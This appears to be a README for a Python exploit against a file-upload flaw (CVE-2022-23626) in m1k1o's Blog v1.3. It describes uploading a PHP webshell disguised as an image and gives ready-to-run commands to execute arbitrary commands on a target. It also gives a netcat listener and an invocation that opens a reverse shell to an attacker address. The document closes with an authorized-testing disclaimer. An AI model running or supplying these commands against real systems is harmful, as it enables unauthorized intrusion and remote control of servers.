
Authenticated remote code execution exploit for m1k1o's Blog v1.3 via unvalidated file upload, with webshell deployment and reverse shell capabilities.
Authenticated Remote Code Execution via file upload vulnerability in m1k1o's Blog v1.3 and below.
The ajax.php?action=upload_image endpoint does not properly validate uploaded file types, allowing an authenticated user to upload a PHP webshell disguised as an image. The attacker can then trigger execution by requesting the uploaded file directly.
requests librarypip install requests
python3 cve-2022-23626.py --url http://target:8081 -u admin -p admin -c "id"
Start a listener first:
nc -lnvp 4444
Then run:
python3 cve-2022-23626.py --url http://target:8081 -u admin -p admin -lh 10.10.14.2 -lp 4444
This tool is intended for authorized security testing and educational purposes only. Use it only on systems you have explicit permission to test.